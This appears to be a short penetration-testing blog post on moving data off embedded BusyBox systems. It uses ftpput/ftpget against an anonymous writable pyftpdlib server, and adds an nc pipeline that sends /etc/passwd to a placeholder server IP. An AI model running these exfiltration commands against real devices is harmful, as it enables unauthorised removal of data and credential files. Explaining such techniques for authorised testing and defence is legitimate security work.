Published
This is a super quick post on a simple method to exfiltrate data from systems running BusyBox, a shell commonly used on embedded devices. Such systems often lack common tools, presenting a challenge when you need to move data about. When I first looked into this topic I found solutions which were too specific or complex, so I hope this post is useful.
The BusyBox man page lists commonly available commands, which currently include *deep breath*:
[, [[, acpid, add-shell, addgroup, adduser, adjtimex, ar, arp, arping, awk, base64, basename, bbconfig, beep, blkid, blockdev, bootchartd, brctl, bunzip2, bzcat, bzip2, cal, cat, catv, chat, chattr, chgrp, chmod, chown, chpasswd, chpst, chroot, chrt, chvt, cksum, clear, cmp, comm, conspy, cp, cpio, crond, crontab, cryptpw, cttyhack, cut, date, dc, dd, deallocvt, delgroup, deluser, depmod, devfsd, devmem, df, dhcprelay, diff, dirname, dmesg, dnsd, dnsdomainname, dos2unix, dpkg, dpkg-deb, du, dumpkmap, dumpleases, echo, ed, egrep, eject, env, envdir, envuidgid, ether-wake, expand, expr, fakeidentd, false, fbset, fbsplash, fdflush, fdformat, fdisk, fgconsole, fgrep, find, findfs, flash_eraseall, flash_lock, flash_unlock, flashcp, flock, fold, free, freeramdisk, fsck, fsck.minix, fsync, ftpd, ftpget, ftpput, fuser, getopt, getty, grep, gunzip, gzip, halt, hd, hdparm, head, hexdump, hostid, hostname, httpd, hush, hwclock, id, ifconfig, ifdown, ifenslave, ifplugd, ifup, inetd, init, inotifyd, insmod, install, ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, iproute, iprule, iptunnel, kbd_mode, kill, killall, killall5, klogd, last, length, less, linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login, logname, logread, losetup, lpd, lpq, lpr, ls, lsattr, lsmod, lspci, lsusb, lzcat, lzma, lzop, lzopcat, makedevs, makemime, man, md5sum, mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mkfs.ext2, mkfs.minix, mkfs.reiser, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount, mountpoint, mpstat, msh, mt, mv, nameif, nanddump, nandwrite, nbd-client, nc, netstat, nice, nmeter, nohup, nslookup, ntpd, od, openvt, passwd, patch, pgrep, pidof, ping, ping6, pipe_progress, pivot_root, pkill, pmap, popmaildir, poweroff, powertop, printenv, printf, ps, pscan, pwd, raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath, reboot, reformime, remove-shell, renice, reset, resize, rev, rfkill, rm, rmdir, rmmod, route, rpm, rpm2cpio, rtcwake, run-parts, runlevel, runsv, runsvdir, rx, script, scriptreplay, sed, sendmail, seq, setarch, setconsole, setfont, setkeycodes, setlogcons, setsid, setuidgid, sh, sha1sum, sha256sum, sha512sum, showkey, slattach, sleep, smemcap, softlimit, sort, split, start-stop-daemon, stat, strings, stty, su, sulogin, sum, sv, svlogd, swapoff, swapon, switch_root, sync, sysctl, syslogd, tac, tail, tar, taskset, tcpsvd, tee, telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr, traceroute, traceroute6, true, tty, ttysize, tunctl, tune2fs, ubiattach, ubidetach, udhcpc, udhcpd, udpsvd, umount, uname, uncompress, unexpand, uniq, unix2dos, unlzma, unlzop, unxz, unzip, uptime, usleep, uudecode, uuencode, vconfig, vi, vlock, volname, wall, watch, watchdog, wc, wget, which, who, whoami, xargs, xz, xzcat, yes, zcat, zcip
Spot anything interesting? The commands ftpget and ftpput should stand out, and they do exactly what you'd expect. Note that there may not be a symlink to the commands on a given system even if they're compiled into BusyBox - if running ftpput returns "not found" try busybox ftpput to access the command (the applet in BusyBox parlance).
All you need now is a listening FTP server. Any will do, but I found pyftpdlib - an "extremely fast Python FTP server" - perfect for this purpose. To get it working, install the library on your server (most distros have a package) then fire it up in the directory where you want to send or receive files like this:
python3 -m pyftpdlib -w
By default the server listens on port 2121, which can be changed with the -p flag. The -w flag tells the module to allow files to be written. Presto, a working anonymous FTP server! For more options, run the module with the -h option.
To send files from the BusyBox instance to your server, you can now run:
ftpput <server_ip:port> <local_filename> <remote_filename>
Similarly, you can get files from your server by running:
ftpget <server_ip:port> <remote_filename>
Simple, eh?
Quick update: As noted by bcook over on Hacker News the nc command is also a nice option. I chose to use ftpput and ftpget as I've found them more commonly compiled into the BusyBox binary on devices that I've tested, perhaps due to the ubiquity of FTP, but if nc and tar are available on your target system you can transfer files like this:
On receiving host:
nc -lv -p 1337 | tar -xf -
And on the BusyBox end:
tar -cf - /etc/passwd | nc <server_ip>:1337
And if that fails, there's always base64 and copy + paste!